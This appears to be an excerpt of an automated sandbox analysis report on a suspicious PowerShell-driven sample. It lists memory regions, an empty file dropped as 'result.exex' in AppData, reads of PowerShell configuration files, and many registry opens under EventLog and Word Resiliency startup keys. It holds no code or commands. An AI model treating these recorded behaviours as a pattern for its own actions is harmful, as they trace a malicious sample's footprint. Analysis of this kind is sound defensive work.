advapi32.dll	0x7feff8e0000	0x7feff9bafff	Memory Mapped File	Readable, Writable, Executable	Region Actions
gdi32.dll	0x7feff9d0000	0x7feffa36fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
usp10.dll	0x7feffa40000	0x7feffb08fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
apisetschema.dll	0x7feffb20000	0x7feffb20fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
private_0x000007ff00020000	0x7ff00020000	0x7ff0002ffff	Private Memory	-	Region Actions
private_0x000007ff00030000	0x7ff00030000	0x7ff0003ffff	Private Memory	-	Region Actions Download Dump
private_0x000007ff00040000	0x7ff00040000	0x7ff000dffff	Private Memory	-	Region Actions
private_0x000007ff000e0000	0x7ff000e0000	0x7ff000effff	Private Memory	-	Region Actions Download Dump
private_0x000007ff000f0000	0x7ff000f0000	0x7ff0015ffff	Private Memory	-	Region Actions Download Dump
private_0x000007ff00160000	0x7ff00160000	0x7ff0016ffff	Private Memory	-	Region Actions Download Dump
private_0x000007ff00170000	0x7ff00170000	0x7ff0017ffff	Private Memory	-	Region Actions Download Dump
private_0x000007fffff10000	0x7fffff10000	0x7fffff1ffff	Private Memory	Readable, Writable, Executable	Region Actions Download Dump
private_0x000007fffff20000	0x7fffff20000	0x7fffffaffff	Private Memory	Readable, Writable, Executable	Region Actions Download Dump
pagefile_0x000007fffffb0000	0x7fffffb0000	0x7fffffd2fff	Pagefile Backed Memory	Readable	Region Actions
private_0x000007fffffd3000	0x7fffffd3000	0x7fffffd4fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x000007fffffd5000	0x7fffffd5000	0x7fffffd6fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x000007fffffd7000	0x7fffffd7000	0x7fffffd8fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x000007fffffd9000	0x7fffffd9000	0x7fffffdafff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x000007fffffdb000	0x7fffffdb000	0x7fffffdcfff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x000007fffffdd000	0x7fffffdd000	0x7fffffdefff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x000007fffffdf000	0x7fffffdf000	0x7fffffdffff	Private Memory	Readable, Writable	Region Actions Download Dump
For performance reasons, the remaining 40 entries are omitted. The remaining entries can be found in flog.txt.

Created Files

Filename	File Size	Hash Values	YARA Match	Actions
c:\users\aetadzjz\appdata\roaming\result.exex	0.00 KB (0 bytes)	MD5: d41d8cd98f00b204e9800998ecf8427e SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709 SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855		File Actions Show Properties

Host Behavior

File (268)

Operation	Filename	Additional Information	Count	Logfile
Create	CONOUT$	desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE	2	Fn
Create	CONOUT$	desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE	2	Fn
Create	C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml	desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ	1	Fn
Create	C:\Users\aETAdzjz\AppData\Roaming\result.exex	desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL	1	Fn
Create	CONOUT$	desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE	1	Fn
Create	CONOUT$	desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE	1	Fn
Create	CONOUT$	desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE	4	Fn
Get Info	C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll	type = file_attributes	2	Fn
Get Info	C:\Windows\SYSteM32\windowspOweRSHeLL\V1.0\PoWErSHELL.config	type = file_attributes	1	Fn
Get Info	C:\Windows\System32\WindowsPowerShell\v1.0	type = file_attributes	2	Fn
Get Info	C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml	type = file_attributes	2	Fn
Get Info	C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml	type = file_attributes	2	Fn
Get Info	-	type = file_type	3	Fn
Get Info	C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml	type = file_attributes	2	Fn
Get Info	C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml	type = file_attributes	2	Fn
Get Info	C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml	type = file_attributes	2	Fn
Get Info	C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml	type = file_attributes	2	Fn
Get Info	C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml	type = file_attributes	2	Fn
Get Info	C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml	type = file_attributes	2	Fn
Get Info	C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml	type = file_attributes	2	Fn
Get Info	C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml	type = file_attributes	2	Fn
Get Info	C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml	type = file_attributes	2	Fn
Get Info	C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml	type = file_type	9	Fn
Get Info	C:\Users\aETAdzjz	type = file_attributes	5	Fn
Get Info	C:\	type = file_attributes	6	Fn
Get Info	C:\Users\aETAdzjz\Desktop	type = file_attributes	7	Fn
Get Info	C:\Users	type = file_attributes	4	Fn
Get Info	C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1	type = file_attributes	1	Fn
Get Info	C:\Windows\System32\WindowsPowerShell\v1.0\Microsoft.PowerShell_profile.ps1	type = file_attributes	1	Fn
Get Info	C:\Users\aETAdzjz\Documents\WindowsPowerShell\profile.ps1	type = file_attributes	1	Fn
Get Info	C:\Users\aETAdzjz\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1	type = file_attributes	1	Fn
Get Info	C:\Users\aETAdzjz\AppData\Roaming\result.exex	type = file_type	2	Fn
Get Info	C:\Windows\system32\taskkill.exe	type = file_attributes	1	Fn
Open	STD_INPUT_HANDLE	-	1	Fn
Open	STD_ERROR_HANDLE	-	1	Fn
Open	STD_OUTPUT_HANDLE	-	1	Fn
Read	-	size = 4096, size_out = 4096	49	Fn Data
Read	-	size = 4096, size_out = 3315	1	Fn Data
Read	-	size = 781, size_out = 0	1	Fn
Read	-	size = 4096, size_out = 0	3	Fn
Read	-	size = 4096, size_out = 436	1	Fn Data
Read	-	size = 4096, size_out = 2530	1	Fn Data
Read	-	size = 542, size_out = 0	1	Fn
Read	C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml	size = 4096, size_out = 4096	73	Fn Data
Read	C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml	size = 4096, size_out = 4018	1	Fn Data
Read	C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml	size = 78, size_out = 0	1	Fn
Read	C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml	size = 4096, size_out = 0	4	Fn
Read	C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml	size = 4096, size_out = 2762	1	Fn Data
Read	C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml	size = 310, size_out = 0	1	Fn
Read	C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml	size = 4096, size_out = 3022	1	Fn Data
Read	C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml	size = 50, size_out = 0	1	Fn
Read	C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml	size = 4096, size_out = 281	1	Fn Data
Write	CONOUT$	size = 79	1	Fn Data
Write	CONOUT$	size = 1	1	Fn Data
Write	-	size = 51	2	Fn Data
Write	-	size = 1	22	Fn Data
Write	-	size = 18	1	Fn Data
Write	-	size = 79	15	Fn Data
Write	-	size = 55	1	Fn Data
Write	-	size = 20	1	Fn Data

Registry (2368)

Operation	Key	Additional Information	Count	Logfile
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment	-	1	Fn
Open Key	HKEY_CURRENT_USER\Environment	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine	-	2	Fn
Open Key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine	-	9	Fn
Open Key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\PowerShell	-	4	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents\PowerShell	-	4	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer\PowerShell	-	4	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service\PowerShell	-	4	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center\PowerShell	-	4	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts\PowerShell	-	4	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security	-	4	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System\PowerShell	-	4	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine	-	2	Fn
Open Key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Resiliency\StartupItems	-	24	Fn
Open Key	HKEY_CURRENT_USER\Software	-	2	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft	-	2	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office	-	2	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0	-	2	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word	-	2	Fn
Open Key	HKEY_CURRENT_USER\Software	-	2	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft	-	2	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office	-	2	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0	-	2	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word	-	2	Fn
Open Key	HKEY_CURRENT_USER\HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Resiliency\StartupItems	-	10	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Resiliency	-	20	Fn
Open Key	HKEY_CURRENT_USER\Software	-	2	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft	-	7	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office	-	2	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0	-	7	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word	-	2	Fn
Open Key	HKEY_CURRENT_USER\Software	-	6	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft	-	7	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office	-	7	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0	-	7	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word	-	5	Fn
Open Key	HKEY_CURRENT_USER\HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Resiliency	-	10	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word	-	4	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office	-	6	Fn
Open Key	HKEY_CURRENT_USER\Software	-	6	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft	-	6	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0	-	6	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word	-	4	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office	-	6	Fn
Open Key	HKEY_CURRENT_USER\Software	-	5	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft	-	2	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software	-	2	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft	-	12	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office	-	2	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0	-	6	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word	-	4	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office	-	12	Fn
Open Key	HKEY_CURRENT_USER\Software	-	10	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft	-	2	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software	-	2	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft	-	2	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office	-	2	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software	-	2	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft	-	2	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office	-	2	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software	-	2	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft	-	7	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office	-	2	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0	-	7	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word	-	5	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office	-	7	Fn
Open Key	HKEY_CURRENT_USER\Software	-	6	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft	-	2	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0	-	2	Fn
Open Key	HKEY_CURRENT_USER\Software	-	2	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft	-	7	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office	-	2	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0	-	7	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word	-	2	Fn
Open Key	HKEY_CURRENT_USER\Software	-	6	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft	-	2	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office	-	7	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word	-	5	Fn
Open Key	HKEY_CURRENT_USER\Software	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft	-	6	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0	-	6	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word	-	4	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office	-	6	Fn
Open Key	HKEY_CURRENT_USER\Software	-	5	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software	-	2	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft	-	2	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office	-	2	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software	-	2	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft	-	2	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office	-	2	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0	-	2	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software	-	2	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office	-	2	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word	-	2	Fn
Open Key	HKEY_CURRENT_USER\Software	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft	-	7	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0	-	6	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word	-	4	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office	-	7	Fn
Open Key	HKEY_CURRENT_USER\Software	-	6	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft	-	2	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0	-	2	Fn
Open Key	HKEY_CURRENT_USER\Software	-	2	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft	-	2	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office	-	2	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word	-	2	Fn
Open Key	HKEY_CURRENT_USER\Software	-	2	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft	-	7	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office	-	2	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software	-	6	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft	-	6	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office	-	7	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0	-	6	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word	-	4	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office	-	6	Fn
Open Key	HKEY_CURRENT_USER\Software	-	5	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft	-	2	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software	-	2	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office	-	2	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft	-	6	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0	-	6	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word	-	4	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office	-	6	Fn
Open Key	HKEY_CURRENT_USER\Software	-	5	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems	-	12	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0	-	1	Fn
